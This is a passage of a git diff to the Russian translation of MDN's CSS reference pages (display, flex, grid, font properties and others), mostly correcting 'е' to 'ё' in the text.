браузерами для дополнительной информации. У <code>transitionend</code> есть 2 свойства:</p> <dl> <dt><code>propertyName</code></dt> @@ -938,7 +938,7 @@ var intervalID = window.setInterval(updateTransition, 7000); <h2 id="Простой_пример">Простой пример</h2> -<p>Пример 4 секунды выполняет плавное изменение шрифта за 2 секунды, после того как пользователь навел мышь на элемент:</p> +<p>Пример 4 секунды выполняет плавное изменение шрифта за 2 секунды, после того как пользователь навёл мышь на элемент:</p> <pre class="brush: css">#delay1 { position: relative; @@ -1017,7 +1017,7 @@ var intervalID = window.setInterval(updateTransition, 7000); <div id="foo"></div> </pre> -<p>Используя JavaScript, добиваемся эффекта перемещения шара на определенную позицию:</p> +<p>Используя JavaScript, добиваемся эффекта перемещения шара на определённую позицию:</p> <pre class="brush: js">var f = document.getElementById('foo'); document.addEventListener('click', function(ev){ diff --git a/files/ru/web/css/cursor/index.html b/files/ru/web/css/cursor/index.html index f45445f056..20368efd85 100644 --- a/files/ru/web/css/cursor/index.html +++ b/files/ru/web/css/cursor/index.html @@ -31,7 +31,7 @@ cursor: unset; <dl> <dt><<code>url</code>></dt> - <dd>Ссылка или разделенный запятыми список ссылок: <code>url(…), url(…), …</code>, указывающие на файл изображения. Дополнительные ссылки могут быть предоставлены в качестве запасных значений, на случай если изображение по основной ссылке не поддерживается в качестве курсора. Запасное значение, не являющееся ссылкой (одно или несколько ключевых слов) <strong>должно </strong>находиться в конце списка значений. See <a href="/en-US/docs/CSS/Using_URL_values_for_the_cursor_property" title="Using_URL_values_for_the_cursor_property">Using URL values for the cursor property</a> for more details.</dd> + <dd>Ссылка или разделённый запятыми список ссылок: <code>url(…), url(…), …</code>, указывающие на файл изображения. Дополнительные ссылки могут быть предоставлены в качестве запасных значений, на случай если изображение по основной ссылке не поддерживается в качестве курсора. Запасное значение, не являющееся ссылкой (одно или несколько ключевых слов) <strong>должно </strong>находиться в конце списка значений. See <a href="/en-US/docs/CSS/Using_URL_values_for_the_cursor_property" title="Using_URL_values_for_the_cursor_property">Using URL values for the cursor property</a> for more details.</dd> <dt><code><x></code> <code><y></code> {{experimental_inline}}</dt> <dd>Необязательные значения х- и у- координат. Два безразмерных неотрицательных числа меньше 32.</dd> <dt>Ключевые слова</dt> diff --git a/files/ru/web/css/descendant_combinator/index.html b/files/ru/web/css/descendant_combinator/index.html index b1305b3171..bef042cb34 100644 --- a/files/ru/web/css/descendant_combinator/index.html +++ b/files/ru/web/css/descendant_combinator/index.html @@ -7,7 +7,7 @@ translation_of: Web/CSS/Descendant_combinator <h2 id="Summary" name="Summary">Описание</h2> -<p>Комбинатор<code> ␣</code> (пробел) представляет собой 2 или более селекторов, найдет элементы соответствующие обоим селекторам. Селекторы по потомкам похожи на селекторы <a href="/ru/docs/Web/CSS/Child_selectors">дочерних элементов</a>, но они не учитывают вложенность элементов и применяют свои свойства ко всем элементам данного типа, находящимся внутри родительского элемента, независимо от глубины вложенности.</p> +<p>Комбинатор<code> ␣</code> (пробел) представляет собой 2 или более селекторов, найдёт элементы соответствующие обоим селекторам. Селекторы по потомкам похожи на селекторы <a href="/ru/docs/Web/CSS/Child_selectors">дочерних элементов</a>, но они не учитывают вложенность элементов и применяют свои свойства ко всем элементам данного типа, находящимся внутри родительского элемента, независимо от глубины вложенности.</p> <h2 id="Syntax" name="Syntax">Синтаксис</h2> diff --git a/files/ru/web/css/display-listitem/index.html b/files/ru/web/css/display-listitem/index.html index 4eee12345e..798ac47d3f 100644 --- a/files/ru/web/css/display-listitem/index.html +++ b/files/ru/web/css/display-listitem/index.html @@ -16,7 +16,7 @@ translation_of: Web/CSS/display-listitem <h2 id="Синтаксис">Синтаксис</h2> -<p>Единственное значение <code> list-item приведет к тому, что элемент будет вести себя как элемент списка. Это можно использовать вместе с {{CSSxRef("list-style-type")}} и {{CSSxRef("list-style-position")}}.</code></p> +<p>Единственное значение <code> list-item приведёт к тому, что элемент будет вести себя как элемент списка. Это можно использовать вместе с {{CSSxRef("list-style-type")}} и {{CSSxRef("list-style-position")}}.</code></p> <div class="note"> <p><code><strong>Примечание</strong>:В браузерах, поддерживающих двухзначный синтаксис, если внутреннее значение не указано, по умолчанию оно будет </code>flow<code>. Если внешнее значение не указано, основной блок будет иметь внешний вид отображения (</code>outer display type<code>) <code>block</code>.</code></p> diff --git a/files/ru/web/css/display-outside/index.html b/files/ru/web/css/display-outside/index.html index 60ee3de15e..a41442267d 100644 --- a/files/ru/web/css/display-outside/index.html +++ b/files/ru/web/css/display-outside/index.html @@ -24,15 +24,15 @@ translation_of: Web/CSS/display-outside <dt><code>block</code></dt> <dd>Элемент генерирует бокс элемента, создавая разрывы линий, как перед, так и после элемента, при условии нормального потока.</dd> <dt><code>inline</code></dt> - <dd>Элемент создает один или более строковых (inline) боксов элемента, которые не создают разрывов строк перед собой или после себя. В нормальном потоке следующий элемент будет находиться на той же линии, если есть пробел.</dd> + <dd>Элемент создаёт один или более строковых (inline) боксов элемента, которые не создают разрывов строк перед собой или после себя. В нормальном потоке следующий элемент будет находиться на той же линии, если есть пробел.</dd> <dt><code>run-in</code> {{Experimental_Inline}}</dt> - <dd>Элемент генерирует run-in бокс. Если соседний родственный (sibling) элемент определен как <code>display: run-in, тогда</code> бокс является блоковым боксом, <code>run-in</code> бокс становится первым строковым (inline) боксом блокового бокса, который следует за ним. <br> + <dd>Элемент генерирует run-in бокс. Если соседний родственный (sibling) элемент определён как <code>display: run-in, тогда</code> бокс является блоковым боксом, <code>run-in</code> бокс становится первым строковым (inline) боксом блокового бокса, который следует за ним. <br> <br> Run-in элементы ведут себя как строковые (inlines) или блоковые, в зависимости от окружающих элементов. Если run-in бокс содержит блоковый бокс, тогда он сам считается блоковым. Если блоковый бокс следует за run-in боксом, тогда run-in бокс становится первым строковым (inline) боксом блокового бокса. Если за ним следует строковый (inline) бокс, тогда run-in бокс становится блоковым боксом.</dd> </dl> <div class="note"> -<p><strong>Замечание</strong>: Браузеры, поддерживающие двузначный синтаксис значений, при обнаружении только внешнего значения, например, при отображении <code> display: block </code> или <code>display: inline,</code> установят внутреннее значение как <code>flow</code>. Это приведет к ожидаемому поведению; например, если вы укажете элемент, который будет блоком, вы ожидаете, что его дочерние элементы будут участвовать в блочной и строковой разметке нормального потока.</p> +<p><strong>Замечание</strong>: Браузеры, поддерживающие двузначный синтаксис значений, при обнаружении только внешнего значения, например, при отображении <code> display: block </code> или <code>display: inline,</code> установят внутреннее значение как <code>flow</code>. Это приведёт к ожидаемому поведению; например, если вы укажете элемент, который будет блоком, вы ожидаете, что его дочерние элементы будут участвовать в блочной и строковой разметке нормального потока.</p> </div> <h2 id="Пример">Пример</h2> diff --git a/files/ru/web/css/display/index.html b/files/ru/web/css/display/index.html index 9c23ae0a01..9f77aa45c7 100644 --- a/files/ru/web/css/display/index.html +++ b/files/ru/web/css/display/index.html @@ -14,7 +14,7 @@ translation_of: Web/CSS/display <p class="summary">Свойство <strong><code>display</code></strong> (<a href="/ru/docs/Web/CSS">CSS</a>) определяет <dfn><em>тип отображения (display type)</em> элемента</dfn>, имеющий два основных свойства, определяющих генерацию боксов — <strong>внешний тип отображения</strong> определяет расположение бокса в <a href="/ru/docs/Web/CSS/CSS_Flow_Layout">схеме потока (flow layout)</a> и <strong>внутренний тип отображения</strong> определяет расположение дочерних элементов бокса (бокс - это прямоугольная область, являющаяся изображением элемента).</p> -<p>Некоторые значения свойства <code>display</code> полностью определены в их индивидуальных спецификациях; смотрите таблицу в конце этого документа со ссылками на все релевантные спецификации. Полный список значений приведен ниже.</p> +<p>Некоторые значения свойства <code>display</code> полностью определены в их индивидуальных спецификациях; смотрите таблицу в конце этого документа со ссылками на все релевантные спецификации. Полный список значений приведён ниже.</p> <pre class="brush:css no-line-numbers">/* <display-outside> values */ display: block; @@ -78,7 +78,7 @@ display: unset; <h2 id="Синтаксис">Синтаксис</h2> -<p>Свойство <code>display</code> задается с помощью ключевых слов. Ключевые слова группируются по шести категориям:</p> +<p>Свойство <code>display</code> задаётся с помощью ключевых слов. Ключевые слова группируются по шести категориям:</p> <dl> <dt>{{CSSxRef("<display-outside>")}}</dt> @@ -86,7 +86,7 @@ display: unset; <dt>{{CSSxRef("<display-inside>")}}</dt> <dd>Эти ключевые слова определяют внутренний тип отображения ( inner display type) элемента, который определяет тип контекста форматирования, в котором располагается его содержимое (при условии, что это незаменяемый элемент).</dd> <dt>{{CSSxRef("<display-listitem>")}}</dt> - <dd>Создает блоковый бокс для контента и отдельный строковый (inline) бокс для элемента списка.</dd> + <dd>Создаёт блоковый бокс для контента и отдельный строковый (inline) бокс для элемента списка.</dd> <dt>{{CSSxRef("<display-internal>")}}</dt> <dd>Некоторые модели разметки, такие как <code><span class="css">table</span></code> и <code>ruby,</code> имеют сложную внутреннюю структуру с несколькими различными ролями, которые могут выполнять их дочерние элементы и потомки. Этот раздел определяет те "внутренние" значения отображения, которые имеют смысл только в рамках этих конкретных методов разметок.</dd> <dt>{{CSSxRef("<display-box>")}}</dt> @@ -122,7 +122,7 @@ display: unset; <p>В разделе {{anch("Syntax")}} содержатся несколько примеров для разных типов значений <code>display</code>, которые это свойство может принимать.</p> -<p>Кроме того, вы можете найти подробные объяснения способов разметки для определенных значений <code>display</code> в других статьях на MDN:</p> +<p>Кроме того, вы можете найти подробные объяснения способов разметки для определённых значений <code>display</code> в других статьях на MDN:</p> <ul> <li><a href="/ru/docs/Web/CSS/CSS_Grid_Layout">Разметка CSS Grid </a></li> diff --git a/files/ru/web/css/filter/index.html b/files/ru/web/css/filter/index.html index 47f4e2954e..d17696fa1b 100644 --- a/files/ru/web/css/filter/index.html +++ b/files/ru/web/css/filter/index.html @@ -16,7 +16,7 @@ translation_of: Web/CSS/filter <p><a href="https://developer.mozilla.org/en-US/docs/Web/CSS">CSS</a> свойство <strong><code>filter</code></strong> позволяет Вам применять к элементу такие графические эффекты, как размытие и смещение цвета. Фильтры обычно используются для регулировки рендеринга изображений, фонов и рамок.</p> -<p>В стандарт CSS включены несколько функций, которые обеспечивают предопределенные эффекты. Вы также можете ссылаться на SVG фильтр с URL-адресом на <a href="/en-US/docs/Web/SVG/Element/filter">элемент фильтра SVG</a>.</p> +<p>В стандарт CSS включены несколько функций, которые обеспечивают предопределённые эффекты. Вы также можете ссылаться на SVG фильтр с URL-адресом на <a href="/en-US/docs/Web/SVG/Element/filter">элемент фильтра SVG</a>.</p> <div class="note"><strong>Предупреждение:</strong> Старые версии (с 4.0 до 9.0) браузера Windows Internet Explorer поддерживают нестандартный <a class="external" href="http://msdn.microsoft.com/en-us/library/ms532853(v=vs.85).aspx">"filter"</a>, который с тех пор устарел.</div> diff --git a/files/ru/web/css/flex-basis/index.html b/files/ru/web/css/flex-basis/index.html index a4973a1812..35c6cbeca1 100644 --- a/files/ru/web/css/flex-basis/index.html +++ b/files/ru/web/css/flex-basis/index.html @@ -5,7 +5,7 @@ translation_of: Web/CSS/flex-basis --- <div>{{CSSRef}}</div> -<p><a href="/en-US/docs/Web/CSS">CSS</a> свойство <strong><code>flex-basis</code></strong> задает базовый размер флекс элемента по <strong>основной оси</strong>. Это свойство определяет размер контент-бокса, если не задано иначе через {{Cssxref("box-sizing")}}.</p> +<p><a href="/en-US/docs/Web/CSS">CSS</a> свойство <strong><code>flex-basis</code></strong> задаёт базовый размер флекс элемента по <strong>основной оси</strong>. Это свойство определяет размер контент-бокса, если не задано иначе через {{Cssxref("box-sizing")}}.</p> <div>{{EmbedInteractiveExample("pages/css/flex-basis.html")}}</div> @@ -43,7 +43,7 @@ flex-basis: unset; -<p>Свойство <code>flex-basis</code> задается через ключевое слово <code><a href="#content">content</a></code> или через <code><a href="#<'width'>"><'width'></a></code>.</p> +<p>Свойство <code>flex-basis</code> задаётся через ключевое слово <code><a href="#content">content</a></code> или через <code><a href="#<'width'>"><'width'></a></code>.</p> <h3 id="Значения">Значения</h3> @@ -51,7 +51,7 @@ flex-basis: unset; <dt><a id="<'width'>" name="<'width'>"><code><'ширина'></code></a></dt> <dd>An absolute {{cssxref("<length>")}}, a {{cssxref("<percentage>")}} родительского flex контейнера главное size свойство, или ключевое слово <code>auto</code>. Негативные значения не допустимы.</dd> <dt><a id="content" name="content"><code>content</code></a></dt> - <dd>Автоматический задает размер на основе содержимого элемента flex.</dd> + <dd>Автоматический задаёт размер на основе содержимого элемента flex.</dd> <dd> <div class="note"><strong>Заметка:</strong> Это значение отсутствовало в первоначальном релизе Flexible Box Layout, и, следовательно, некоторые предыдущие релизы не будут поддерживать его. Аналогичный эффект можно получить, используя <code>auto</code> вместе с основным размером (<a href="https://drafts.csswg.org/css2/visudet.html#propdef-width">width</a> или <a href="https://drafts.csswg.org/css2/visudet.html#propdef-height">height</a>) <code>auto</code>.</div> @@ -60,7 +60,7 @@ flex-basis: unset; <ul> <li>Первоначально, <code>flex-basis:auto</code> означает "смотреть на значения <code>width</code> или <code>height</code>".</li> - <li>Затем <code>flex-basis:auto</code> был изменен на автоматический размер, а "main-size" было введено как ключевое слово, означающее "смотреть на значения <code>width</code> или <code>height</code>". Это было реализован в <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1032922" title='RESOLVED FIXED - Rename "flex-basis:auto" to "main-size", while preserving "flex:auto" shorthand value'>баге 1032922</a>.</li> + <li>Затем <code>flex-basis:auto</code> был изменён на автоматический размер, а "main-size" было введено как ключевое слово, означающее "смотреть на значения <code>width</code> или <code>height</code>". Это было реализован в <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1032922" title='RESOLVED FIXED - Rename "flex-basis:auto" to "main-size", while preserving "flex:auto" shorthand value'>баге 1032922</a>.</li> <li>Затем в <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1093316" title='RESOLVED FIXED - Back out flexbox "flex-basis:main-size" rename, since the CSSWG removed it from the spec'>баге 1093316</a> это было возвращено обратно, поэтому <code>auto</code> снова означает "смотреть на значения <code>width</code> или <code>height</code>"; а новое ключевое слово <code>content</code> было введено для автоматического размера. ({{bug("1105111")}} охватывает добавление этого ключевого слова).</li> </ul> </div> diff --git a/files/ru/web/css/flex-direction/index.html b/files/ru/web/css/flex-direction/index.html index 4c343b98b7..06861addbf 100644 --- a/files/ru/web/css/flex-direction/index.html +++ b/files/ru/web/css/flex-direction/index.html @@ -43,11 +43,11 @@ flex-direction: unset; <dt><code>row</code></dt> <dd>Главная ось flex-контейнера определена точно так же, как направление текста. Точки <strong>main-start</strong> и <strong>main-end</strong> совпадают с направлением контента.</dd> <dt><code>row-reverse</code></dt> - <dd>Ведет себя аналогично <code>row</code> , но точки <strong>main-start</strong> и <strong>main-end</strong> поменяны местами.</dd> + <dd>Ведёт себя аналогично <code>row</code> , но точки <strong>main-start</strong> и <strong>main-end</strong> поменяны местами.</dd> <dt><code>column</code></dt> <dd>Главная ось flex-контейнера такая же, как ось блока (block-axis). Точки <strong>main-start</strong> и <strong>main-end</strong> такие же, как точки <strong>before</strong> и <strong>after</strong> режима записи (writing-mode).</dd> <dt><code>column-reverse</code></dt> - <dd>Ведет себя, как <code>column</code> , но точки <strong>main-start</strong> и <strong>main-end</strong> поменяны местами.</dd> + <dd>Ведёт себя, как <code>column</code> , но точки <strong>main-start</strong> и <strong>main-end</strong> поменяны местами.</dd> </dl> <h3 id="Формальный_синтаксис">Формальный синтаксис</h3> diff --git a/files/ru/web/css/flex-grow/index.html b/files/ru/web/css/flex-grow/index.html index 3ce8182a72..740a6a9560 100644 --- a/files/ru/web/css/flex-grow/index.html +++ b/files/ru/web/css/flex-grow/index.html @@ -12,7 +12,7 @@ translation_of: Web/CSS/flex-grow --- <div>{{CSSRef}}</div> -<p><span class="seoSummary"><a href="/en-US/docs/Web/CSS">CSS</a>-свойство <strong><code>flex-grow</code></strong> определяет как много свободного пространства во flex-контейнере должно быть назначено текущему элементу (flex grow factor — «коэффициент увеличения flex»).</span> Свободное пространство — разница между размером flex-контейнера и размером всех его flex-элементов вместе. Если все sibling-элементы (sibling items — элементы одного уровня вложенности, состоящие по отношению друг к другу в родственной связи как брат или сестра), имеют одинаковый коэффициент flex-grow, то все они получат одинаковую долю свободного пространства, в противном случае оно распределяется в соответствии с соотношением, определенным различными коэффициентами flex-grow.</p> +<p><span class="seoSummary"><a href="/en-US/docs/Web/CSS">CSS</a>-свойство <strong><code>flex-grow</code></strong> определяет как много свободного пространства во flex-контейнере должно быть назначено текущему элементу (flex grow factor — «коэффициент увеличения flex»).</span> Свободное пространство — разница между размером flex-контейнера и размером всех его flex-элементов вместе. Если все sibling-элементы (sibling items — элементы одного уровня вложенности, состоящие по отношению друг к другу в родственной связи как брат или сестра), имеют одинаковый коэффициент flex-grow, то все они получат одинаковую долю свободного пространства, в противном случае оно распределяется в соответствии с соотношением, определённым различными коэффициентами flex-grow.</p> <p>На практике flex-grow используется вместе с другими flex-свойствами {{cssxref("flex-shrink")}} и {{cssxref("flex-basis")}}, и обычно определяется с помощью сокращения (shorthand) {{cssxref("flex")}}, чтобы убедиться, что все значения заданы.</p> diff --git a/files/ru/web/css/flex-wrap/index.html b/files/ru/web/css/flex-wrap/index.html index 345b55bbaa..339db730a5 100644 --- a/files/ru/web/css/flex-wrap/index.html +++ b/files/ru/web/css/flex-wrap/index.html @@ -5,7 +5,7 @@ translation_of: Web/CSS/flex-wrap --- <div>{{ CSSRef}}</div> -<p>Свойство <a href="/en-US/docs/CSS" title="CSS">CSS</a> <strong><code>flex-wrap</code></strong> задает правила вывода flex-элементов — в одну строку или в несколько, с переносом блоков. Если перенос разрешен, то возможно задать направление, в котором выводятся блоки.</p> +<p>Свойство <a href="/en-US/docs/CSS" title="CSS">CSS</a> <strong><code>flex-wrap</code></strong> задаёт правила вывода flex-элементов — в одну строку или в несколько, с переносом блоков. Если перенос разрешён, то возможно задать направление, в котором выводятся блоки.</p> <pre class="brush:css no-line-numbers notranslate">flex-wrap: nowrap; flex-wrap: wrap; diff --git a/files/ru/web/css/flex/index.html b/files/ru/web/css/flex/index.html index a0a28a86d8..e490167e82 100644 --- a/files/ru/web/css/flex/index.html +++ b/files/ru/web/css/flex/index.html @@ -7,7 +7,7 @@ translation_of: Web/CSS/flex <h2 id="Описание">Описание</h2> -<p>Свойство <a href="/ru/docs/CSS" title="CSS">CSS</a> <strong><code>flex</code></strong> - это <a href="https://developer.mozilla.org/ru/docs/Web/CSS/Shorthand_properties">сокращенное свойство</a>, определяющее способность гибкого элемента растягиваться или сжиматься для заполнения собой доступного свободного пространства. Это свойство устанавливает <a href="https://developer.mozilla.org/ru/docs/Web/CSS/flex-grow">flex-grow</a>, <a href="https://developer.mozilla.org/ru/docs/Web/CSS/flex-shrink">flex-shrink</a> и <a href="https://developer.mozilla.org/ru/docs/Web/CSS/flex-basis"> flex-basis</a>.</p> +<p>Свойство <a href="/ru/docs/CSS" title="CSS">CSS</a> <strong><code>flex</code></strong> - это <a href="https://developer.mozilla.org/ru/docs/Web/CSS/Shorthand_properties">сокращённое свойство</a>, определяющее способность гибкого элемента растягиваться или сжиматься для заполнения собой доступного свободного пространства. Это свойство устанавливает <a href="https://developer.mozilla.org/ru/docs/Web/CSS/flex-grow">flex-grow</a>, <a href="https://developer.mozilla.org/ru/docs/Web/CSS/flex-shrink">flex-shrink</a> и <a href="https://developer.mozilla.org/ru/docs/Web/CSS/flex-basis"> flex-basis</a>.</p> <p>{{cssinfo}}</p> diff --git a/files/ru/web/css/float/index.html b/files/ru/web/css/float/index.html index d14d73e420..340654bd11 100644 --- a/files/ru/web/css/float/index.html +++ b/files/ru/web/css/float/index.html @@ -3,7 +3,7 @@ title: float slug: Web/CSS/float translation_of: Web/CSS/float --- -<div>Свойство float CSS указывает, что элемент должен быть взят из нормального потока и помещен вдоль левой или правой стороны его контейнера, где текст и встроенные элементы будут обтекать его.{{CSSRef}}</div> +<div>Свойство float CSS указывает, что элемент должен быть взят из нормального потока и помещён вдоль левой или правой стороны его контейнера, где текст и встроенные элементы будут обтекать его.{{CSSRef}}</div> <h2 id="Summary">Summary</h2> diff --git a/files/ru/web/css/font-family/index.html b/files/ru/web/css/font-family/index.html index 79b25a5265..44df7fc34e 100644 --- a/files/ru/web/css/font-family/index.html +++ b/files/ru/web/css/font-family/index.html @@ -49,7 +49,7 @@ font-family: unset; <p>Свойство <code>font-family</code> получает список из одного или более семейства шрифтов, разделённые запятыми. Каждое семейство шрифтов определяется как <code><a href="#<family-name>"><family-name></a></code> или <code><a href="#<generic-name>"><generic-name></a></code>.</p> -<p>В приведенном ниже примере перечислены два семейства шрифтов, первое <code><a href="#<family-name>"><family-name></a></code>, а второе как <code><generic-name></code>:</p> +<p>В приведённом ниже примере перечислены два семейства шрифтов, первое <code><a href="#<family-name>"><family-name></a></code>, а второе как <code><generic-name></code>:</p> <pre class="brush: css">font-family: Gill Sans Extrabold, sans-serif;</pre> diff --git a/files/ru/web/css/font-variant-ligatures/index.html b/files/ru/web/css/font-variant-ligatures/index.html index f8545cc836..0415ac37bb 100644 --- a/files/ru/web/css/font-variant-ligatures/index.html +++ b/files/ru/web/css/font-variant-ligatures/index.html @@ -35,18 +35,18 @@ font-variant-ligatures: unset; <dl> <dt><code>normal</code></dt> - <dd>Это ключевое слово ведет к активации обычных лигатур и контекстных форм, необходимых для корректного рендеринга. Активируемые лигатуры и формы зависят от шрифта, языка и типа письма. Это значение по умолчанию.</dd> + <dd>Это ключевое слово ведёт к активации обычных лигатур и контекстных форм, необходимых для корректного рендеринга. Активируемые лигатуры и формы зависят от шрифта, языка и типа письма. Это значение по умолчанию.</dd> <dt><code>none</code></dt> <dd>Это ключевое слово устанавливает, что все лигатуры и контекстные формы отключены, даже распространенные.</dd> <dt><<em>common-lig-values></em></dt> - <dd>Эти значения контролируют наиболее распространенные лигатуры, такие как лигатуры для сочетаний <code>fi</code>, <code>ffi</code>, <code>th</code> или подобных. Они относятся к значениям <code>liga</code> и <code>clig</code> в OpenType. Допустимы два значения: + <dd>Эти значения контролируют наиболее распространённые лигатуры, такие как лигатуры для сочетаний <code>fi</code>, <code>ffi</code>, <code>th</code> или подобных. Они относятся к значениям <code>liga</code> и <code>clig</code> в OpenType. Допустимы два значения: <ul> <li><code>common-ligatures</code> активирует эти лигатуры. Обратите внимание, что ключевое слово <code>normal</code> активирует лигатуры.</li> <li><code>no-common-ligatures</code> отключает эти лигатуры.</li> </ul> </dd> <dt><<em>discretionary-lig-values</em>></dt> - <dd><span class="tlid-translation translation" lang="ru"><span title="">Эти значения управляют определенными лигатурами, специфичными для шрифта и определяемыми дизайнером шрифта.</span> <span title="">Они соответствуют значениям OpenType <code>hlig</code></span></span>. Доступны два значения: + <dd><span class="tlid-translation translation" lang="ru"><span title="">Эти значения управляют определёнными лигатурами, специфичными для шрифта и определяемыми дизайнером шрифта.</span> <span title="">Они соответствуют значениям OpenType <code>hlig</code></span></span>. Доступны два значения: <ul> <li><code>discretionary-ligatures</code> активирует данные лигатуры.</li> <li><code>no-discretionary-ligatures</code> деактивирует лигатуры. Обратите внимание, обычно, ключевое слово <code>normal</code> также деактивирует лигатуры.</li> diff --git a/files/ru/web/css/font-weight/index.html b/files/ru/web/css/font-weight/index.html index 386ede4092..1c15a5c863 100644 --- a/files/ru/web/css/font-weight/index.html +++ b/files/ru/web/css/font-weight/index.html @@ -132,7 +132,7 @@ font-weight: unset; <h3 id="Определение_веса_имени">Определение веса имени</h3> -<p>Значения от 100 до 900, примерно, соответствуют следующим распространенным именам насыщенности:</p> +<p>Значения от 100 до 900, примерно, соответствуют следующим распространённым именам насыщенности:</p> <table class="standard-table"> <thead> @@ -176,14 +176,14 @@ font-weight: unset; </tr> <tr> <td><code>900</code></td> - <td>Черный (Густой) Black (Heavy)</td> + <td>Чёрный (Густой) Black (Heavy)</td> </tr> </tbody> </table> <h3 id="Интерполяция">Интерполяция</h3> -<p>Значения <code>font-weight</code> интерполируются с помощью дискретных шагов (кратные 100). <span id="result_box" lang="ru"><span class="hps">Интерполяция</span> <span class="hps">происходит в действительном пространстве чисел</span> <span class="hps">и превращается</span> <span class="hps">в целое число путем</span> <span class="hps">округления до</span> <span class="hps">ближайшего числа, кратного</span> <span class="hps">100,</span> <span class="hps">со значениями</span> <span class="alt-edited hps">посредине между</span> <span class="alt-edited hps">кратными 100</span> <span class="alt-edited hps">округленными</span> <span class="alt-edited hps">в сторону</span> <span class="hps">положительной бесконечности</span><span>.</span></span></p> +<p>Значения <code>font-weight</code> интерполируются с помощью дискретных шагов (кратные 100). <span id="result_box" lang="ru"><span class="hps">Интерполяция</span> <span class="hps">происходит в действительном пространстве чисел</span> <span class="hps">и превращается</span> <span class="hps">в целое число путём</span> <span class="hps">округления до</span> <span class="hps">ближайшего числа, кратного</span> <span class="hps">100,</span> <span class="hps">со значениями</span> <span class="alt-edited hps">посредине между</span> <span class="alt-edited hps">кратными 100</span> <span class="alt-edited hps">округлёнными</span> <span class="alt-edited hps">в сторону</span> <span class="hps">положительной бесконечности</span><span>.</span></span></p> <h3 id="Формальный_синтаксис">Формальный синтаксис</h3> @@ -214,7 +214,7 @@ p { } /* Назначение тексту элемента <div> жирности, которая больше на два уровня, -чем normal, но все еще меньше, чем стандартный bold. */ +чем normal, но все ещё меньше, чем стандартный bold. */ div { font-weight: 600; } diff --git a/files/ru/web/css/font/index.html b/files/ru/web/css/font/index.html index dc3278e054..329684753a 100644 --- a/files/ru/web/css/font/index.html +++ b/files/ru/web/css/font/index.html @@ -11,7 +11,7 @@ translation_of: Web/CSS/font -<p>Как и с любым сокращенным свойством, любое значение, которое не указано, устанавливается в начальное значение (возможно, переопределяя значения, ранее установленные с использованием не сокращенных свойств). Свойства {{cssxref ("font-size-Adjust")}} и {{cssxref ("font-kerning")}} хоть и не могут быть напрямую установлены с помощью <code>font</code>, но они также сбрасываются к своим начальным значениям.</p> +<p>Как и с любым сокращённым свойством, любое значение, которое не указано, устанавливается в начальное значение (возможно, переопределяя значения, ранее установленные с использованием не сокращённых свойств). Свойства {{cssxref ("font-size-Adjust")}} и {{cssxref ("font-kerning")}} хоть и не могут быть напрямую установлены с помощью <code>font</code>, но они также сбрасываются к своим начальным значениям.</p> <h2 id="Синтаксис">Синтаксис</h2> diff --git a/files/ru/web/css/grid-area/index.html b/files/ru/web/css/grid-area/index.html index dcbbae226f..2712892e54 100644 --- a/files/ru/web/css/grid-area/index.html +++ b/files/ru/web/css/grid-area/index.html @@ -3,7 +3,7 @@ title: grid-area slug: Web/CSS/grid-area translation_of: Web/CSS/grid-area --- -<p><code><font face="Open Sans, arial, x-locale-body, sans-serif"><span style="background-color: #ffffff;">CSS свойство </span></font><strong>grid-area</strong></code> - это <a href="/en-US/docs/Web/CSS/Shorthand_properties">сокращенная форма записи</a> для свойств {{cssxref("grid-row-start")}}, {{cssxref("grid-column-start")}}, {{cssxref("grid-row-end")}} и {{cssxref("grid-column-end")}}. Определяет размер и местоположение грид-элемента в пределах {{glossary("grid rows", "grid row")}}. Задает края {{glossary("grid areas", "грид-области")}} грид-элемента.</p> +<p><code><font face="Open Sans, arial, x-locale-body, sans-serif"><span style="background-color: #ffffff;">CSS свойство </span></font><strong>grid-area</strong></code> - это <a href="/en-US/docs/Web/CSS/Shorthand_properties">сокращённая форма записи</a> для свойств {{cssxref("grid-row-start")}}, {{cssxref("grid-column-start")}}, {{cssxref("grid-row-end")}} и {{cssxref("grid-column-end")}}. Определяет размер и местоположение грид-элемента в пределах {{glossary("grid rows", "grid row")}}. Задаёт края {{glossary("grid areas", "грид-области")}} грид-элемента.</p> <pre class="brush: css no-line-numbers">/* Ключевые слова в качестве значений */ grid-area: auto; @@ -30,7 +30,7 @@ grid-area: initial; grid-area: unset; </pre> -<p>Если заданы четыре значения <code><grid-line></code> , то первое значение определяет <code>grid-row-start</code> , второе значение - <code>grid-column-start</code> , третье значение - <code>grid-row-end</code> и четвертое значение - <code>grid-column-end</code>.</p> +<p>Если заданы четыре значения <code><grid-line></code> , то первое значение определяет <code>grid-row-start</code> , второе значение - <code>grid-column-start</code> , третье значение - <code>grid-row-end</code> и четвёртое значение - <code>grid-column-end</code>.</p> <p>Если <code>grid-column-end</code> опущено, а <code>grid-column-start</code> в значении {{cssxref("<custom-ident>")}}, <code>grid-column-end</code> устанавливается в это значение <code><custom-ident></code>; иначе оно устанавливается в значение <code>auto</code>.</p> diff --git a/files/ru/web/css/grid-auto-flow/index.html b/files/ru/web/css/grid-auto-flow/index.html index 35d6789975..226db2bb76 100644 --- a/files/ru/web/css/grid-auto-flow/index.html +++ b/files/ru/web/css/grid-auto-flow/index.html @@ -35,9 +35,9 @@ grid-auto-flow: unset; <dl> <dt><code>row</code></dt> - <dd>Ключевое слово, указывающее размещать элементы, заполняя поочередно каждую строку и добавляя новые строки по мере необходимости. Это значение используется по умолчанию.</dd> + <dd>Ключевое слово, указывающее размещать элементы, заполняя поочерёдно каждую строку и добавляя новые строки по мере необходимости. Это значение используется по умолчанию.</dd> <dt><code>column</code></dt> - <dd>Ключевое слово, указывающее размещать элементы, заполняя поочередно каждый столбец и добавляя новые столбцы по мере необходимости.</dd> + <dd>Ключевое слово, указывающее размещать элементы, заполняя поочерёдно каждый столбец и добавляя новые столбцы по мере необходимости.</dd> <dt><code>dense</code></dt> <dd>Ключевое слово, указывающее заполнять элементами свободное пространство сетки. Это может привести к нарушению порядка, т.к. элементы будут выстраиваться не в соответствии со своим расположением, а в соответствии с размером.</dd> <dd><br> diff --git a/files/ru/web/css/grid-row-start/index.html b/files/ru/web/css/grid-row-start/index.html index 15559e4134..5817eef381 100644 --- a/files/ru/web/css/grid-row-start/index.html +++ b/files/ru/web/css/grid-row-start/index.html @@ -55,7 +55,7 @@ grid-row-start: unset; <p>В противном случае это обрабатывается так, как если бы целое число 1 было указано вместе с <code><custom-ident></code>.</p> </dd> <dt><code><integer> && 